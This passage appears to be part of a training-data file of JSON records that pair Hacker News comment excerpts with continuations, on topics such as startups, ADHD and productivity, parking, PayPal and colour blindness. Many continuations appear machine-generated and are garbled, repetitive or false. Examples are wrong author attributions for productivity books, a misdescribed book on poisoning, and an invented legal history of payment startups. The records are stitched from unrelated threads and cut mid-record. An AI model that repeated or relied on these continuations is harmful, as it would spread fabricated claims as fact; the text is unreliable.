MY software the way I\nlike, then how is it fair? It's like saying I can't bundle a headphone for an\nMp3 player I manufactured and the user should buy what he/she wants.\n\nIf I got something wrong here, please enlighten me..\n\n~~~\nrajanikanthr\nstupidity of EU at peaks.. thats it\n\n~~~\noctix\nOf course :) \n\n------\njavipas\nBesides the previous comment from the EU, there's an article written by\nMatthew Garrett (developer of the Secure Boot solution at The Linux\nFoundation) that explains also the big difference between Secure Boot and\nRestricted Boot.\n\n\n\nThat complaint is not really reasonable and is going nowhere, I think.\n\n~~~\nmjg59\nThe Linux Foundation developed their own solution, entirely separate from\nmine.\n\n------\nnivla\nMy comment from another thread posted earlier with the same news that happened\nto disappear from the front page[1]:\n\nAlright this is getting ridiculous, we aren't living in the 90s anymore and we\nshould be encouraging healthy"} +{"output_text": ". If you take them\nout for a run or bike ride they will lose weight, but after a while they\nstart eating less and exercising more. Eventually they are in good shape but\nthey are not \"healthy\".\n\nSo too with overwork. If you overwork and are smart you can get a lot of\nbenefits. But if you overwork and are dumb you can get a lot of benefits but\neventually you get in trouble.\n\n------\njap", "input_text": " possible\nto put in a tremendious amount of work into something and it might still not\npay off. Worst off all, even my final study grade suffered slightly from this\nbecause my co-founders put a lot of pressure on me.\n\nSo afterwards I realized: never ever again am I working (insane) overhours for\na prolonged time.\n\nI strongly believe that there is something in us that protects us, less\nmagical than it sounds, evolution. When we work too much we burned out.\n\nIn the years after I eventually co-founded another company and was really\nclose to totally burning out. (Although I limited my overhours, the work-life\nbalance was terrible and when I worked it was ~90-95% \"efficency\" \\- my whole\nprivate life was built around this startup.) I think this 2nd hard lesson\ntotally showed me that it isn't worth it.\n\nNowadays I do my best to find a good balance in work. Of course it's a\npersonal life choice. The more effort/work you put in, the higher the\nprobability you gain but also the higher the probability that something bad\nhappens.\n\nSo yes, obviously there are life hacks etc, go for them if you want to \"solve\nyour problem\". Or maybe think for yourself and imagine what's best for you.\n\n------\ndboreham\nI've done some thinking on this over the years. I'm not convinced it is \"ADHD\"\nper se, based on reading the symptom list and observing family members who do\nclearly have the symptoms. Of course it is always tricky to self-diagnose.\n\nFor me it is more akin to an addiction mechanism : consider someone who is\noverweight because they eat too much and exercise too little"} +{"output_text": " a lot of\nbrainwork/thinking.\n\n(2): Find a quiet place to work, I've found a library works wonders for this.\n\n(3): Get a whiteboard, a dry erase board, a notebook, whatever. I use a dry\nerase board because it's portable, and I can take it with me. I use a notebook\nbecause I can draw in it, and it's easy to carry around. I use a whiteboard\nbecause I", "input_text": ". It permanently blocks websites in\nall browsers for a certain period of time, making it appear pretty\nnonreversible. I block facebook, twitter, and of course, hacker news. (:\n\n\\- Use a to-do list. Make it consist of a reasonable number of bite-sized\ntasks.\n\n\\- Take care of yourself - get sleep, eat right, exercise.\n\n\\- Give yourself a time limit so you HAVE to let go. Transfer the perfection\nfrom the task itself, to getting the task done efficiently. If you're on a\nMac, download Vitamin-R. It forces you to chunk out blocks of time, and\nexplain exactly what you're going to accomplish in the 45 minutes of focus you\nprobably have. Read the Vitamin-R manual, it's actually really helpful.\n\n\\- Study the Pomodoro technique. That's something you can do on Win/offline;\nVitamin R makes it dead-easy.\n\n\\- Make a chart for yourself. Mine's big, neon, and plastered on the wall in\nfront of my desk where I'm reminded of it. Every day, give yourself a mark\nabout how focused you were, and whether or not you accomplished everything on\nyour to-do list. This'll help you learn what realistic to-dos are.\n\nGood luck, you can do it! (:\n\n------\nJarred\nThis is a good question, and one I've been thinking about myself.\n\nI don't have a direct answer, but this is what's helped me.\n\n(1): 4x3 Dry Erase Board nearby Computer, it might be because of having ADD\nbut I find I do the best idea-refinement/drawing stuff out on a dry erase\nboard, both because you can erase it easily and it involves"} +{"output_text": "PS, is building a parking system that is designed for\nthe common good.\n\n[https://www.easyalps.com](https://www.easyalps.com)\n\nWe are building a mobile app that will allow you to pay for parking using your\ncell phone. We are also building a hardware device that will allow you to\ncharge your car while parked.\n\nWe are a small team of engineers and are looking for a full time engineer to\nhelp", "input_text": " 9-11 except in green spots\nexcept you have to display the ticket in your window except you need to be 6\ninches but not 12 inches from the curb except except except except\")...\n\n... then this is the part where I start to suspect I'm not paying for the\nparking I'm using, but instead I am paying for someone else's large and\nundeserved profit.\n\n~~~\njaviramos\nThe other day I went to a concert and parked my car at a parking lot. When the\nconcert ended, of course there were masses of people trying to exit the\nparking lot. There were only 2 cashiers to pay the parking ticket \u2014 no\nautomated machines. So we waited over an hour to pay our ticket. Time that we\nended up paying with our ticket (per hour parking). The cashier didn\u2019t want to\nrefund us for the waiting time. If the law doesn\u2019t require any standards\nrequiring waiting times \u2014 why would a parking operator ever be incentivized to\nhave an efficient checkout system? Especially if they are the only parking in\ntown. Anyways lots of sketchy consumer violations in this space.\n\n~~~\nhanniabu\nWhile I agree that's a hassle, I don't think this should result in a refund.\nIt's like ordering dinner, eating it, and then wanting a refund for the meal\nbecause you waited a long time for the meal.\n\n~~~\nppseafield\nI think the OP meant they were charged for the extra hour they spent waiting\nin line trying to exit.\n\n~~~\nhanniabu\nOh I see, thought that they didn't think they should pay just because there\nwas a long line to get out.\n\n------\nbredren\nMy SUS company, EasyAL"} +{"output_text": "-to-start-\nde-risking-1125/](https://www.codingvc.com/how-to-start-de-risking-1125/)\n\nYou'll learn a lot, and you'll be able to build a product that you're proud of\nif you follow his advice.\n\n~~~\naloukissas\nThis is great advice. Thanks!\n\n------\njoeevans1000\n1\\. Get a lawyer to write up", "input_text": "oehler\nHave you considered bootstrapping until investors come looking for you? This\nquestion is a bit like how do we do marketing. The short answer is use your\nnetwork to get intros. If that fails cold call (use LinkedIn, blogs etc for\nless generation). Make sure you target on investors that are interested in\nwhat you're working on already. You need alignment. Also consider that\ninvestors are like sheep running after trends. They also are only interested\nin companies that can reopen them 100x plus on their investment. You might\nhave missed the investor boat for your specific type of company and that might\nbe a blessing in disguise. If you bootstrap check out indiehackers.com. You\ncan make a successful profitable business that you can work on full time\nwithout investors. In fact its easier now than ever.\n\n~~~\naloukissas\nWould 100% recommend checking out indiehackers.com and their podcast. Tons of\nprofitable SaaS businesses there with zero investors.\n\n------\njtwaleson\nI'm in NL and have some experience and contacts. E-mail is in my profile if\nyou'd like to have a coffee. Also, we're currently evaluating test automation\ntools and frustrated with most solutions so would love to hear your pitch ;)\n\n~~~\nBasDirks\nAppreciated, I will reach out.\n\n~~~\ntluyben2\nYou can drop me a line as well if you want. My contacts (VCs) might be\ninterested in your product: I am curious myself as well from the tech point of\nview.\n\n------\nx0x0\nRead Leo Polovets' startup de-risking guide and start de-risking your startup.\n\n[https://www.codingvc.com/how"} +{"output_text": ". I'm not a professional coder, I\njust write a lot of code. I have a day job where I have to deal with the\ncomplexities of real world systems. I have to make decisions about what\nfunctionality I'm going to write and how to do it in a way that meets the\nrequirements of the customer and the business. I have to make decisions about\nwhat tradeoffs I'm going to make and how to present the tradeoffs to the\ncustomer", "input_text": " it the last 5%, I might just do it.\n\n~~~\npartisan\nKeep in mind that the last 5% might mean a heck of a lot of time. There is\nusually a reason why some things go unimplemented in open source projects and\nthe complexity and time required are usually high on the list.\n\n~~~\nkazinator\nThe last 5% is _my_ last 5%, not (necessarily) the project's 5%. I.e. the\ndifference between what is there and what I require, not between what is\nthere, and the project's goals.\n\n------\nGratsby\nIf there's an IRC channel, mailing list, issue tracker, etc., I have a look at\nit. Active communities are bonus points regardless of the bug list.\n\nI also look at how friendly the project is to pull requests and outside\ndevelopment. If a bug is important to me, I will spend the time to code a fix,\nbut if there's no hope for getting any changes made, that represents a large\nrisk to me. It's not a bad thing if the team in charge pushes back for higher\nquality code, code style, or solutions practical for wider audiences.\n\nIf there's continuous integration in place with automated testing and static\ncode analysis that is fantastic. It's not a deal breaker if it's not, but\nhaving it in place is a good sign.\n\nDepending on the project, I may have a look at the source itself. I certainly\ndon't look the source of every application I use.\n\nI have found that online recommendations in developer communities are not\nalways good. More than once I've tried out projects based on people\nevangelizing them only to find out that they are pretty far from acceptable.\n\nThere are differences in how I judge things"} +{"output_text": "\" technique).\n\nSo, the question isn't \"is this system secure?\" The question is \"is this\nsystem secure against a thief who's going to beat me until I give them my\nkeys?\"\n\n~~~\nsliverstorm\nI would be very surprised if a thief who was going to beat you up was actually\ntaking photos of your keys.\n\nThey're going to try and steal your keys, and if they don't get what they\nwant, they're", "input_text": "these are \" basics\" things but many people lack them.For me,\njust having one of them, it's a privilege. I finally got my hair back and my\nskin rashes are more manageable, so now I am ready to meet new people and be\nmore presentable.Better keep up now because I feel my time is limited due to\nmy health condition. Who knows when I will lose my hair again and all that? I\nbetter be positive about my situation and don't stress myself more about my\nstruggles.\n\nJust believe in yourself, don't forget what you want and your needs, keep\nfighting and don't give up. Don't dwell in painful situations and don't allow\nyourself to cry for more that a day. Don't look back, just look forward but\ndon't forget the reasons you are fighting for this. Don't really wait for a\nbreak, just go after what you want...\n\nHopefully, your situation turns around. Keep us updated...\n\n \nHouse Keys copyable from 200 ft away via camera - nl\nhttp://www.jacobsschool.ucsd.edu/news/news_releases/release.sfe?id=791\n======\nslapshot\nThis is perhaps an unintentional demonstration that \"insecure against absurdly\ncomplex and specific attacks\" does not always mean \"insecure.\"\n\nFor a web system that is under attack 24/7 from 255^4 different attack\nvectors, you need \"secure against even absurdly complex attacks\" to be\n\"secure.\"\n\nBut for my house? Your average thief isn't going to spend the time to take a\nhigh-res photo of my keys. Instead, they're just going to beat me until I give\nthem my keys (the original \"rubber-hose crytography"} +{"output_text": " that describes it for me.\n\nThis is a classic case of a product that could be killer if you knew what it\nwas, but is completely useless if you don't.\n\n~~~\njasonkester\nOops. Just noticed that the link is broken. Here's a copy/paste of the\noriginal:\n\n\n\nIt's been replaced with a 404.\n\n------\njasonkester", "input_text": " guy, and I wish I had spent more and more time talking with\nhim.\n\n------\ntedchs\nJim contributed a great deal to the Ruby community and will be deeply missed.\n\n------\njackson1990\nJim was a great guy and an awesome contributor to the Ruby community.\n\n------\nshahinh\nJim was best guy, and I wish I had spent more time talking with him.\n\n------\njackson1990\nI wish I had spent more time talking with him.\n\n------\nshahinh\nYour post is Great read, thanks for posting.\n\n------\nUNIXgod\nThis is sad.\n\n------\nmentaat\nwhat was the cause of death?\n\n~~~\nwinslow\nFrom the other thread (Jim's last Github commit) it states he passed away due\nto a heart attack at age 57.\n\n[1] -\n[https://news.ycombinator.com/item?id=7271909](https://news.ycombinator.com/item?id=7271909)\n\n \nWakeMates are ready - spydertennis\nhttp://blog.wakemate.com/2010/12/18/wakemates-are-ready/\n======\njasonkester\nLook, I know it's Product Blogging 101, but it always amazes me when I see a\nproduct blog like this one that has:\n\na.) No description of what the product _is_\n\nb.) No direct link to the product website\n\nSo now, after visiting that site, I know that Wakemates are ready. But I have\nno idea what a Wakemate is, and short of manipulating the URL by hand, I have\nno way to get to a website"} +{"output_text": "IN/1594484805/braipick-\nmain)\n\n------\nnimish\n> I have trouble focusing\n\n> I have trouble sitting still\n\n> I have trouble not moving all day\n\nThis is normal.\n\n------\nm3kw9\nNormal for you to have trouble focusing.\n\n------\nm3kw9\nNormal for you to have trouble sitting still.\n\n------\nm3kw9\nNormal for you to have", "input_text": " along thinking of you.\n\nMoney quote for me was something like the ADHD child has zero self motivation.\nAll motivation comes from the outside world. Which is why kids can play video\ngames for hours because there is instant feedback. But when you finish a\nproblem on your homework nothing happens.\n\nAnd that there is a extremely poor short short term memory problem.\n\nTons of stuff.\n\n------\ntomwphillips\nYou might be interested in this feature about adults with ADHD:\n[https://www.buzzfeed.com/kellyoakes/these-adults-have-\nadhd-b...](https://www.buzzfeed.com/kellyoakes/these-adults-have-adhd-but-\nwere-misdiagnosed-for-decades?utm_term=.ouaZAN5kQq#.ip0DXr9zRW)\n\n------\nkanishkdudeja\nYou should like typical ADHD to me. I had the same issues and now am doing\ngreat with major changes to my lifestyle!\n\n------\nmedion\nMaybe you should be doing something else with your life? Maybe you were\nsupposed to be an explorer, or an adventurer, or a builder? I mean, life is so\nshort, why punish yourself? I hate this culture of 'hacks' and all this\nrubbish to force yourself into doing things maybe you shouldn't be doing.\n\n------\ncorpMaverick\nIt is normal. Make sure you have all of these. Autonomy, Purpose and Mastery.\n\n[https://www.amazon.com/exec/obidos/ASIN/1594484805/braipick-...](https://www.amazon.com/exec/obidos/AS"} +{"output_text": "them were funded by VCs. I've also run my own company for a few years. I've\nfound that the biggest problem I've had is not the money. It's the politics.\n\nIf you are a founder, you will have to deal with VCs and their politics. You\nwill have to deal with people who don't understand technology and will try to\nchange what you do. You will have to deal with people who are not thinking\nabout you or your company", "input_text": "'t matter\", or that they'll act magnanimously, or anything like that.\n\nIt's way, way easier to have a lovely relationship with people when you're in\na position of power. Put yourself into that position.\n\n(There are some investors you can unequivocally trust to act their talk --\nnotably YC, winfunding, and a few others, but don't rely on that as a general\nrule)\n\n~~~\ngreenspot\nThis. So true and extremely well framed.\n\nThe only thing I can add: At the beginning of a relationship, everybody is\nkind. Background checks not just help, they are essential, do them.\n\nGetting into conflicts and power plays with VCs, or just any person at some\npoint, should be expected but there are still huge differences in how people\ndeal in messy situations in terms of morale and ethics. You will find\neverything between feeling uneasy and facing a nuclear war.\n\n~~~\nwiz21c\n>>> there are still huge differences in how people deal in messy situations in\nterms of morale and ethics.\n\nso true. Problem is that in my small business experience, those in power are\nthere because they have very flexible views on morale and ethics (i.e. they\nthink they have morale/ethics, but they actually forget it when their company\nis at stakes). Being the ethical guy I'm of course totally biased. But the\nparent post is so right : having ethics/morale can be extremely damaging for\nyou because you'll have to work with people who absolutely don't get how you\nthink and that'll be super exhausting. Know yourself before going into that\ngame.\n\n------\nrsweeney21\nI've started a few modestly successful companies over the past decade. Most of\n"} +{"output_text": "nsic-\nE...](https://www.amazon.com/Poisoners-Handbook-Murder-Forensic-\nEvidence/dp/1608421545)).\n\nIt\u2019s a fascinating look at the history of the development of the first\nradioactive elements, and how they were used to solve real-world problems.\n\n------\njelliclesfarm\nI thought I was the only one who knew about this. I was always told to drink\nmore", "input_text": " from Google:\n[http://www.google.com/design/spec/material-\ndesign/introducti...](http://www.google.com/design/spec/material-\ndesign/introduction.html)\n\n------\ngrandalf\nI think the choice of pattern depends a lot on what you are building and how\nmuch and how often you will need to change it.\n\n------\njkinz86\nI think what you're looking for is Harry Roberts' ITCSS?\n\nwww.youtube.com/watch?v=1OKZOV-iLj4\n\n------\nblawa\n(I'm new to HN so not sure how to edit) Thanks for some excellent answers.\n\nSo as to keep the discussion to the question's point for posterity, I think I\nwasn't very clear. As some people have poined out- I'm not looking for graphic\ndesign patterns, or design from the user experience perspective. I'm looking\nfor how to design my components. and what should classify as a component, or\nwhat should be an individual template. What should go as a parent and as a\nchild in the component. Thanks again!\n\n \nHow We Realized Putting Radium in Everything Was Not the Answer - ajna91\nhttps://www.theatlantic.com/health/archive/2013/03/how-we-realized-putting-radium-in-everything-was-not-the-answer/273780/\n======\nsmacktoward\nIf you are interested in this subject, I highly recommend picking up a copy of\nDeborah Blum\u2019s excellent 2011 book _The Poisoner\u2019s Handbook_\n([https://www.amazon.com/Poisoners-Handbook-Murder-Fore"} +{"output_text": "peer-to-peer cash system in 2007. It was shut down by the Canadian\nauthorities in 2009.\n\n(2) In 2010, a group of former FaceCash users (including the founders) formed\nBump ( ) to build a peer-to-peer cash system.\n\n(3) In 2011, Bump was sued by Think Computer for copyright infringement. The\nlawsuit was dismissed in 2012.\n\n(", "input_text": " paymentsstartup should know everyone \u2013 literally\neveryone, including regulators and thegovernment \u2013 is going to be working\nagainst you. If you can\u2019t take the heat, get out of the kitchen and go start a\nphotosharing startup.\u201d\n\n\u201cPayment startups face a far more adversarial environment, including utter and\ntotalhostility. It was okay for PayPal to whine about this (though they\ndidn\u2019t), because itwasn't known. But now it\u2019s known. If you run a payments\nstartup, you are fightingagainst thugs, actual criminals \u2013 both real ones and\ngovernment ones. It is not normalbusiness. It is like trying to start a\nbusiness in an actual warzone. Complaining aboutthis is just whining. There is\nno actual solution than to win. Anything else is, in fact, justwhining.\u201d\n\nPresumably with the hope of \u201cwinning,\u201d Defendant Wong proceeded to invest his\nown personalfunds in Unlicensed MSB Defendant Balanced (part of a $3.4 million\nseed financing round)\n\n~~~\nwisty\nTrying to create political pressure against these \"thugs\" isn't necessarily a\nbad move. Let's say you want to start a company which bypasses Taxi\nmedallions. It's in your interest to create a PR storm over the unfairness of\nthe medallion system. It's _not_ OK to be surprised when the entrenched powers\ntry to bite you (though it may not hurt to _act_ surprised). Of course, if you\ndon't have the stomach for it, you shouldn't be getting into the space.\n\n------\njluxenberg\nSome context:\n\n(1) Think Computer Corporation built FaceCash () a\n"} +{"output_text": " improve your life.\n\n\\- The 4-hour Workweek by Timothy Ferris\n\n\\- The 4-hour Workday by Cal Newport\n\n\\- The Way We're Meant to Live by Michael F. Saier\n\n\\- The Way to the Extraordinary by F. A. Hay\n\n\\- The Power of a Positive Mind by Norman Vincent Peale\n\n\\- The Mind Illuminated by G. I. Gurdjieff\n\n\\- The Four-hour", "input_text": "I would then probably keep at the English teaching until your situation has\nstabilized if you can stand it.\n\nAfter a while I\u2019d slowly (and cheaply) try to bootstrap something, if that\u2019s\nwhat interests you.\n\n~~~\nbrandelune\nA KK in Japan is currently the least expensive option. Basically all you need\nis to pay for the registration paperwork (about \u00a5300k) and what used to be a\nminimum capital of \u00a510 million has now no minimum.\n\nThere used to be Yugen (limited responsibility) with a minimum capital of \u00a53\nmillion but it disappeared with the new KK law.\n\nThat was about 12 years ago.\n\n~~~\nxevb3k\nDepending on your VISA type you can also operate as a sole proprietor (kojin\njigyo) as I understand it. I think that\u2019s cheaper and easier?\n\nI\u2019d still just be tempted to set something up in another country and operate\nvia that until things started to pan out.\n\n------\nToine\nMy advice : abort everything. You seem to need mental support and that's ok,\neverybody does at some point. Go back to a place where you feel secure and\nhave family/friends/anything that can help you. Throwing 50k USD into a\ncompany that has no purpose is insane. Doing so after multiple years of being\nunable to produce anything is beyond insane.\n\n------\n_5meq\nIt sounds like you have a dysfunction with decision making and productivity.\nThis is something you need to deal with.\n\nIt's OK! It happens to a lot of people. This is something you can study and\nimprove.\n\nI highly recommend reading a few books on productivity and making good\ndecisions in order to"} +{"output_text": " example, than\nwhen I'm not smoking pot. I'm more motivated, more productive, and more\nenergetic.\n\n~~~\ncontingencies\n_same for lots of drugs, including alcohol._\n\nI agree with you, but I've never tried alcohol or other drugs, and I don't\nwant to. I have tried marijuana, and it is very interesting.\n\nI have tried a lot of drugs, including a lot of alcohol, and I can tell", "input_text": " dishes a bit better than I do. (Although I often complete the same\ntask more quickly)\n\nI definitely still prefer my choice to his, I am aware that my decisions\nchanging the reward centers of my brain. Mowing the lawn will never be a fun\ngame to me, because I have _actual_ fun games to play.\n\n------\ncontingencies\nThings to try:\n\n\\- get more sleep\n\n\\- time off to recharge / re-motivate\n\n\\- meditation / yoga / exercise\n\n\\- try to stop using stimulants (includes caffeine/nicotine/sugar) or try\nusing different stimulants (eg. arecoline)\n\n\\- absolutely do not smoke marijuana, it is known to make many people lazy and\ndemotivated\n\n\\- control your environment (quiet, no phone, phone off, offline)\n\n\\- clean your environment (zero clutter)\n\n\\- change your environment (fresh space)\n\n\\- remove all distractions (visual, audio, etc.)\n\n\\- try different times of day (eg. sleep early, wake then work early AM before\nsunrise)\n\n~~~\nBroken_Hippo\n_absolutely do not smoke marijuana, it is known to make many people lazy and\ndemotivated_\n\nThis is the stereotype. Sure, some folks get lazy, but same for lots of drugs,\nincluding alcohol. How many potheads have you known? I've been one at\ndifferent times, probably qualify, and would rather work with a pothead who is\nstoned all the time than a drunk. Lazy isn't due to marijuana, but rather the\nperson smoking and to an extent, their reaction and tolerance level.\n\nWith me is the opposite. I don't clean house more or lesse, for"} +{"output_text": "hed his anger at the Obama\n> administration by calling the North\u2019s leader a \u201crocket man\u201d and threatening\n> to destroy the country.\n\n[https://www.theguardian.com/us-news/2017/jul/27/donald-\ntrump-...](https://www.theguardian.com/us-news/2017/jul/27/donald-trump-\nmeet-kim-jong-un-", "input_text": " support the Kim family.\n\n~~~\nflycaliguy\nI would be careful to underestimate the North's ability to fight a war. You\ndon't need cutting edge technology with the sort of topography they've got.\nLook at a topographic map of North Korea. It's mountain ranges and valleys.\nDense veg, steep drops, spots for tunnels, rapid currents. You could put an\narmy from the 50s in there and have a hell of a time getting them to quit.\n\n~~~\nhangonhn\nI don't doubt their ability to defend their own territory and your point about\nthat is correct. However, I don't see South Korea being the aggressor. If\nthere is a war, North Korea would be the aggressor and I doubt their current\nability to successfully invade and conquer South Korea. They would have to\nacquire new conventional capabilities to do that and a viable economy is\nnecessary for that development.\n\n------\ntoblender\nI can sense the skepticism in the comments, but this is amazing news!\n\nAll those people suffering from lack will have a chance to take part in our\nmodern abundance.\n\nI can only imagine what will happen when NK opens it's doors to SK fully.\nThere will be a massive demand for good and services. Exciting times!\n\n------\n21\nFrom the Guardian, which can't be accused of being a Trump lover:\n\n> This system of indoctrination and propaganda complicates any official\n> announcement of the Trump meeting. An ideological framework must be devised\n> to explain the talks with the enemy; and regardless of how they are\n> presented, there is an uncomfortable margin for the \u201cinfallible\u201d leader to\n> be seen to fail in his aims.\n\n> Trump is a volatile opponent who telegrap"} +{"output_text": " sees certain colours\nbetter than others.\n\nThe summary then goes on to say that the green/red sensitivity of the human\neye is ~50:50, which is not true.\n\nThe summary also fails to mention that the human eye has a \"blue-blind\"\nsensitivity, which is that no colour is seen at all in that spectral region.\n\nThe summary also fails to mention that the human eye has a \"blue-blind\"\nsensitivity, which", "input_text": " a\npatch of wild strawberries. I'm partially red-green colorblind and for every\nstrawberry I found, my friend found ten. They were almost invisible to me.\nIt's neat to see that the fourth cone's response curve peaks right between the\nred and green cones' curves in tetrachromats. I bet they are amazing at\nfinding berries.\n\n~~~\nsuch_a_casual\nWhat does it mean to be partially red-green colobrlind? Isn't it the case that\nyou either have the red-green cone or you don't?\n\n~~~\najuc\nI don't know how it works, but I have it - I can see red and green and pink in\nbig blobs, but when there's lots of small red and green (or pink) details\nmixed - they seem the same to me (if their darkness is similar).\n\nAlso I have problems with big uniform colour areas it there's small amount of\ngreen mixed with pink or red and vice-versa. I was making a sunset skybox for\na game, and friends were wondering why the sky is slightly green - for me it\nwas pinkish-red-yellow, but I put there some green by mistake.\n\n~~~\nsuch_a_casual\nThat sounds like standard red-green colorblindness.\n\n~~~\najuc\nGood to know, I thought standard red-green color blindness is when you don't\nrecognize these colors at all.\n\n------\nPeterWhittaker\nVery inaccurate summary, since I skimmed: Up to 12% of women have an X\nchromosome mutation that creates a fourth cone. This cone generally overlaps\nthe spectral region covered by the cones sensitive to red and green. The exact\narea of overlap determines whether or not each woman"} +{"output_text": "companies.\n\nIf your GPA is below 3.0, you'll have to work on your r\u00e9sum\u00e9 to make it\nbetter.\n\nIf you have a 3.7, you'll have to do some work to make it a 4.0.\n\nIf you have a 3.2, you'll have to work on your r\u00e9sum\u00e9 to make it a 3.2.\n\nIf you have a 3.0, you'll have to work on", "input_text": "\nyou've got stuff you did before college that's interesting, figure out how you\ncan bring it up. You have to play up whatever potential positives you have.\n\n------\nteahat\nGPA - absolutely. If it's not there, the assumption will be that the reason it\nisn't there is because it's bad (especially as a new grad). Like when you look\nat a 2nd hand car listing and they leave off mileage - you know it will be\nhuge. Transcripts, no - they just add unnecessary padding at this stage,\nnobody wants to read those unless they absolutely have to, so they'd only be\nasked for at the end of the process, if at all.\n\nBut more importantly than either of these - you should write your resume\ndifferently depending on what you are applying for. Highlight what is most\nvaluable to the organization you are applying to. If this means you have to\nreduce the number of applications you send out, that's fine, it's much better\nto have fewer well targeted applications.\n\nAnd try to state facts, not claims. By which I mean - don't claim to 'work\nwell in a team', or have 'excellent X'. Show what you've done and the impact\nit had. If you wrote something cool at the age of 10, I can infer that you're\nsmart and self-directed from that.\n\nGood luck.\n\n------\ncaw\nFrom my experience: Don't include your community college, unless that's where\nyour degree is from. Even then, if you got an AS at a community college and\nthen got a BS, just drop the AS.\n\nInclude your GPA if it's better than 3.0/4.0. That's the cutoff point for most\n"} +{"output_text": " condiments, you get a hard time of it.\n\nI always ask for the condiments, and get them free. I don't know what the\nrestaurant thinks about this, but I'm sure it's not making them any money.\n\n------\nnroach\nI'm not sure that the author's anecdote proves anything. I've had bad service\nat McDonald's and Wendy's and I've had good service at Burger King and\nMcDonald's and Wendy", "input_text": " menu.\n\nHe basically wanted a side of wheat toast but this did not come with the menu\nitem he wanted.\n\nJack: \"What do you mean you don't make side orders of toast? You make\nsandwiches, don't you?\"\n\nWaitress: \"Would you like to talk to the manager?\"\n\nJack: \"You've got bread and a toaster of some kind?\"\n\nWaitress: \"I don't make the rules.\"\n\nJack: \"OK, I'll make it as easy for you as I can. I'd like an omelette, plain,\nand a chicken salad sandwich on wheat toast, no mayonnaise, no butter, no\nlettuce. And a cup of coffee.\"\n\nWaitress: \"A number two, chicken sal san, hold the butter, the lettuce and the\nmayonnaise. And a cup of coffee. Anything else?\"\n\nJack: \"Yeah. Now all you have to do is hold the chicken, bring me the toast,\ngive me a check for the chicken salad sandwich, and you haven't broken any\nrules.\"\n\nWaitress: \"You want me to hold the chicken, huh?\"\n\nJack: \"I want you to hold it between your knees.\"\n\nThe whole exchange is found here:\n.\n\n~~~\natarashi\nHere's a clip of that exchange: \n\n------\nboredguy8\nThere's a McDonald's near where I work that charges for some condiments\n(barbecue sauce, for instance) if you didn't order specific food items. If you\nask for the"} +{"output_text": "\n~~~\nstared\nI am not saying that \"concern about privacy\" is a good reason. I am saying\n\"Amish Bias\" (which is not a technical term, but it is a concept).\n\nI am also not saying that \"being concerned about privacy\" is a good reason. I\nam saying that it is a reason, because I am saying that it is a mindset.\n\n------\npier25\nI find it funny that Facebook is", "input_text": "cco\nAre they going after the 40+ dating market? Surely the dating app demographic\nisn't on Facebook anymore, though maybe Facebook is still popular in the 18-30\nage range in Europe? I just don't know.\n\n~~~\nMilner08\nIn the UK its certainly not popular with the late 20's crowd. There are still\nsome people hanging on in there but most people seem to have (thankfully)\ngiven up on it for anything other than messages and the occasional event.\n\n------\nstared\nThere are various takes on that, which of course depend on values each person\n(and country) considers as the most important.\n\nIn my personal opinion, Europe (in which I live) as an \"Amish bias\" [1], i.e.\nby default being more cautious about introducing new technologies. I am\nalready annoyed by the constant cookie pop-ups that significantly affect my\nbrowsing experience but on mobile.\n\nYes, there are risks with all technologies. But with the current mindset,\nEurope is setting itself way back comparing to the USA... which is much more\ncautious than China. Or in other words, Europe sets itself to be the World's\ncalm countryside, in which people live as they used to.\n\nSome (maybe even the majority) may like it. Personally, I am asking myself\nfrom time to time - when it is time to move to Asia.\n\n[1] [https://kk.org/thetechnium/amish-\nhackers-a/](https://kk.org/thetechnium/amish-hackers-a/)\n\n~~~\nchunkyslink\nBeing concerned about privacy is not an Amish Bias, it means our citizens are\nless likely to be abused by some tech company.\n"} +{"output_text": " to say?\n\n~~~\ntikhonj\nI think it's mostly right. I mean, it's not _entirely_ wrong. Node is\nabsolutely not the best thing ever for everything.\n\nBut it's not all bad. The core team is incredibly responsive and open, which\nis a huge deal for a project of this scale. The community is also incredibly\nfriendly and helpful.\n\nThe biggest problem is that it's not a _language_.", "input_text": " world from the db, service the request, and then destroy the world\nyou've just created. For structural things like MVC, objects are great, but\nyou really don't see much of the \"object as vehicle for data encapsulation\"\nthat's drilled into every new programmer when they're first taught OOP.\n\nThe client, on the other hand, _can_ persist data and objects through\nrequests, and the only time it needs to be fully refreshed is on a full\nreload.\n\n~~~\ncwp\nAh. But that isn't an issue of language or object-orientation. There are\nserver-side frameworks that _don't_ throw away the world, and client-side\nframeworks that do. (Notice how your javascript state is thrown away everytime\nyou load a new page in the browser). That's a design decision that's made\npossible by the statelessness of HTTP, but not required by it.\n\n~~~\ngbog\nCertainly, but throwing away the world is natural on server side code and it\nmeans that your carefully crafted object don't live long and many of them\ndon't need too be objects, they are micro namespaces for a set of methods. I\nnever tried node.js for real but one good side off it could be that you are\nnot pushed towards objects like you are with Python, Ruby, Java, etc.\n\n------\nleephillips\nThe author refers to this seething criticism of node\n(. html), that I've seen\nbefore, and then just soldiers on without addressing it. I'm not well versed\nenough to know whether Dziuba's analysis is not the mark or not. What do the\njavascript/node experts here have"} +{"output_text": " it, in the US at least)?\n\n~~~\nn_ary\nYes, they would have my address but I am sure they don't have my credit card\ndetails. I have seen merchants who have been closed down for fraud.\n\n------\njoeevans1000\nI'm not sure why this is news. The article is basically saying that the\ngovernment is over-reaching in trying to prosecute people for not paying for\nthings.\n\nThe article quotes a lawyer", "input_text": "ezerjay\nPaypal provides an effective dispute resolution process and enables customers\nto pay for stuff by explicitly authorizing a payment and without giving away\ntheir payment info to unknown third-parties.\n\n~~~\nthcsa\nI once saw a pdf which listed all the third parties that PayPal shares its\ninformation with. It was more than 30 pages.\n\n~~~\nCharlesColeman\n>> Paypal provides an effective dispute resolution process and enables\ncustomers to pay for stuff by explicitly authorizing a payment and without\ngiving away their payment info to unknown third-parties.\n\n> I once saw a pdf which listed all the third parties that PayPal shares its\n> information with. It was more than 30 pages.\n\nWhat kind of info do they share with those third parties?\n\nI think the GP's point stands, since the \"unknown third-part[y]\" that\ncustomers are usually _most_ concerned about is _the merchant_, which Paypal\ndefinitely doesn't share payment info with (like CC numbers).\n\n~~~\nn_ary\nOfftopic: PayPal shares more than we think it does. I've had issues where\ncertain merchants asked me to confirm identity by sending copy of utility bill\nfor address I had on PayPal account. I thought my address is private so sent a\nbill for my siblings house where I also paid the bills for internet, but they\nreported that address is not same with PayPal, so I argued a bit but\neventually had to send one for correct address. I think that, PayPal doesn't\nshare CVV but merchants can view all personal info attached to my PayPal\naccount.\n\n~~~\nCharlesColeman\nThat doesn't seem too weird to me. Wouldn't most merchants necessarily have\nyour address in order to provide services to you (shipping would definitely\nrequire"} +{"output_text": " part of\nthe 